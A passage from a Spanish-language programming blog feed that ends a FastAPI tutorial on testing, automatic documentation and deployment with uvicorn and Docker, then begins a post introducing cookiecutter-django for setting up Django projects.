style=&#34;color:#57c7ff&#34;&gt;test_read_main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;assert&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status_code &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;assert&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;json() &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como puedes apreciar en el código anterior:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;client.get&lt;/strong&gt;() se encarga de realizar la petición a root&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;response.status_code&lt;/strong&gt; contiene el código de respuesta&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;response.json()&lt;/strong&gt; nos devuelve el cuerpo de la respuesta en formato JSON&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Si corremos pytest veremos que se ejecutan los tests correspondientes para corroborar que cada uno de los elementos anteriores sea igual al valor esperando.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;pytest&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;========&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; session &lt;span style=&#34;color:#ff5c57&#34;&gt;starts&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;===========&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;platform linux -- Python 3.7.2, pytest-6.1.1, py-1.9.0, pluggy-0.13.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rootdir: /home/usuario/fastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;collected &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; item&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;test_api.py .  &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;100%&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;========&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; passed in 0.17s &lt;span style=&#34;color:#ff6ac1&#34;&gt;=============&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;documentacion-en-fastapi&#34;&gt;Documentación en FastAPI&lt;/h2&gt;&#xA;&lt;p&gt;Hasta este momento &lt;strong&gt;te he ocultado una de las características más geniales de FastAPI&lt;/strong&gt;, no me odies por favor. Así es, ya sabes exactamente a que me refiero: ¡Documentación automática!&lt;/p&gt;&#xA;&lt;p&gt;Sí, como seguramente ya sabías, FastAPI cuenta con documentación automática usando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://swagger.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;swagger&lt;/a&gt;&#xA; y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/Redocly/redoc&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;redoc&lt;/a&gt;&#xA;, no tienes que agregar código, ni establecer una variable para esto, sencillamente abre tu navegador y dirígete a tu &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://127.0.0.1:8000/docs/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;localhost:8000/docs/&lt;/a&gt;&#xA; y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://127.0.0.1:8000/redoc/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;localhost:8000/redoc/&lt;/a&gt;&#xA;, respectivamente, y verás la documentación interactiva generada automáticamente.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/Documentacion_swagger.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/Documentacion_swagger.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla de la documentación de swagger&#34; width=&#34;1487&#34; height=&#34;239&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;deployment-de-fastapi-sin-docker&#34;&gt;Deployment de FastAPI sin Docker&lt;/h2&gt;&#xA;&lt;p&gt;El despliegue también es una tarea sencilla de realizar.&lt;/p&gt;&#xA;&lt;p&gt;Para hacer deployment sin usar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/que-es-docker-y-para-que-sirve/&#34;&gt;Docker&lt;/a&gt;&#xA; basta con correr uvicorn, justo como hicimos al principio de este tutorial.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uvicorn main:app --host 0.0.0.0 --port &lt;span style=&#34;color:#ff9f43&#34;&gt;80&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;deployment-de-fastapi-con-docker&#34;&gt;Deployment de FastAPI con Docker&lt;/h2&gt;&#xA;&lt;p&gt;Hacer un deployment con Docker es super sencillo, el creador de FastAPI nos recomienda utilizar el siguiente código en un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/&#34;&gt;archivo Dockerfile de Docker&lt;/a&gt;&#xA; si vamos a utilizar una arquitectura compleja, por ejemplo Kubernetes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch Dockerfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;el siguiente código va dentro del Dockerfile:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; python:3.9&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;WORKDIR&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; /code&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;COPY&lt;/span&gt; ./requirements.txt /code/requirements.txt&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;RUN&lt;/span&gt; pip install --no-cache-dir --upgrade -r /code/requirements.txt&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;COPY&lt;/span&gt; ./app /code/app&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CMD&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;uvicorn&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.main:app&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;--host&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;0.0.0.0&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;--port&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;80&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Le indicamos a Docker que copie todo el contenido de nuestra carpeta actual en la carpeta &lt;em&gt;/app&lt;/em&gt;. Despues de la instrucción &lt;em&gt;Copy&lt;/em&gt; puedes agregar más código para personalizar tu imagen.&lt;/p&gt;&#xA;&lt;p&gt;A continuación vamos a compilar la imagen.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker build -t fastapi .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cuando termine de compilar nuestra imagen vamos a correr un contenedor en segundo plano, en el puerto 80. Este contenedor usa gunicorn para servir el contenido.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -d --name fastapicontainer -p 80:80 fastapi&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La configuración de uvicorn y el uso de certificados SSL, ya sea usar Cerbot o Traefik o alguna otra opción ya depende de ti.&lt;/p&gt;&#xA;&lt;p&gt;Con esto concluye mi pequeño tutorial FastAPI. Esta fue únicamente una pequeña introducción con las opciones que yo considero más relevantes, por favor &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://fastapi.tiangolo.com&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;lee la documentación oficial&lt;/a&gt;&#xA; para profundizar en cada una de las opciones que FastAPI tiene disponibles.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Estos últimos días he estado probando una librería para Python que se está volviendo muy popular, FastAPI, un framework para crear APIs, tales como las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;REST APIs&lt;/a&gt;&#xA; o las APIs RPC, de manera sencilla, con muy poco código y con un rendimiento extraordinario, para soportar sitios web de alta concurrencia.&lt;/p&gt;&#xA;&lt;h2 id=&#34;fastapi-vs-django-vs-flask-vs-pyramid&#34;&gt;FastAPI vs Django vs Flask vs Pyramid&lt;/h2&gt;&#xA;&lt;p&gt;¿De verdad FastAPI es tan rápido? Sí, al menos así lo afirma la evidencia. FastAPI queda en primer lugar en respuestas por segundo frente a Frameworks más populares como Django, Pyramid o Flask. Y, por si te pareciera poco, también queda en los primeros lugares si lo comparamos con Frameworks de otros lenguajes de programación, como PHP o Javascript.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Configuración y deploy de Django usando Cookiecutter-django</title>
      <link>https://coffeebytes.dev/es/django/cookiecutter-django-para-configurar-y-hacer-deploy-en-django/</link>
      <pubDate>Tue, 20 Oct 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/cookiecutter-django-para-configurar-y-hacer-deploy-en-django/</guid>
      
      <category>django</category>
      
      <category>docker</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Escribí las entradas anteriores como una introducción para el tema de esta semana. En esta entrada voy a explicar sobre una herramienta genial para Django llamada cookiecutter-django, que traducido significa &amp;ldquo;cortador de galletas django&amp;rdquo;. Esta herramienta para django permite generar proyectos que integren docker, celery, mailhog, aws, gcp, y muchas otras herramientas, de una manera automática, con solo contestar una serie de preguntas.&lt;/p&gt;&#xA;&lt;p&gt;Esta herramienta usa docker para hacer más sencillo el proceso de desarrollo y deploy de una aplicación de Django. Además fue creada por uno de los escritores del genial libro Two scoops of Django, del cual tengo una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/el-mejor-libro-de-django-resena-de-two-scoops-of-django/&#34;&gt;reseña de Twoo scoops of django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;Te ahorraré algo de tiempo. Me costó mucho aprender las bases de Kubernetes, después de ver múltiples videotutoriales (gratuitos y de paga) y leer algunos blogs sobre el tema, encontré este libro, me dio lo que otros recursos no pudieron así que me siento bastante cómodo recomendándolo. ¡Échale un vistazo!\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Kubernetes up and running\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/kubernetes-up-and-running.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4k0MDga\&#34;,\&#34;linkText\&#34;:\&#34;Consulte el libro Kubernetes up and running en Amazon\&#34;,\&#34;title\&#34;:\&#34;Cual es el mejor recurso para aprender Kubernetes\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;¿No sabes que es Docker? Visita mi entrada donde hablo de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/&#34;&gt;los contenedores y Docker&lt;/a&gt;&#xA; en caso de que no sepas usarlo. Si ya sabes usar Docker, y quieres darle una revisa a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/docker-compose-tutorial-con-comandos-en-gnu-linux/&#34;&gt;docker compose&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Si dudas sobre si deberías usar Django visita mi entrada donde te explico algunas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;ventajas y desventajas de este framework de desarrollo web.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;para-que-sirve-cookiecutter-django&#34;&gt;¿Para que sirve Cookiecutter Django?&lt;/h2&gt;&#xA;&lt;p&gt;Probablemente has usado alguna vez un cortador de galletas, es un pequeño molde que presionas contra la masa para darle forma a una galleta. Usar un cortador de galletas garantiza que todas tus galletas saldrán bien y serán uniformes. Bien, pues un cookiecutter es exactamente eso, es una plantilla que se usa para crear un proyecto y que le da forma.&lt;/p&gt;&#xA;&lt;p&gt;Hay cookiecutters para muchas tecnologías y muchas personas terminan programando los suyos, acorde a sus necesidades. Del que vamos a hablar hoy es el cookiecutter para Django más popular. Esta herramienta nos provee de lo siguiente:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Un acomodo de carpetas uniforme&lt;/li&gt;&#xA;&lt;li&gt;Un sistema de autenticación&lt;/li&gt;&#xA;&lt;li&gt;CRUD de cuentas de usuario&lt;/li&gt;&#xA;&lt;li&gt;Recuperación de contraseñas&lt;/li&gt;&#xA;&lt;li&gt;Configuración de hosting para tus archivos estáticos&lt;/li&gt;&#xA;&lt;li&gt;Uso de Django Rest Framework&lt;/li&gt;&#xA;&lt;li&gt;Configuración para servicios de correo electrónico&lt;/li&gt;&#xA;&lt;li&gt;Archivos de docker compose tanto para desarrollo como para producción listos para usarse&lt;/li&gt;&#xA;&lt;li&gt;Integración con Heroku&lt;/li&gt;&#xA;&lt;li&gt;Y muchos otras opciones&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;El cookiecutter de Django nos da una plantilla personalizable lista para empezar, con las librerías más populares evitándonos la molestia de tener que configurar un proyecto desde cero.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;instalar-cookiecutter&#34;&gt;Instalar cookiecutter&lt;/h2&gt;&#xA;&lt;p&gt;Cookiecutter debería estar disponible en los repositorios de nuestro sistema GNU/Linux. Por lo que podemos instalarlo como si fuera cualquier otro paquete.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 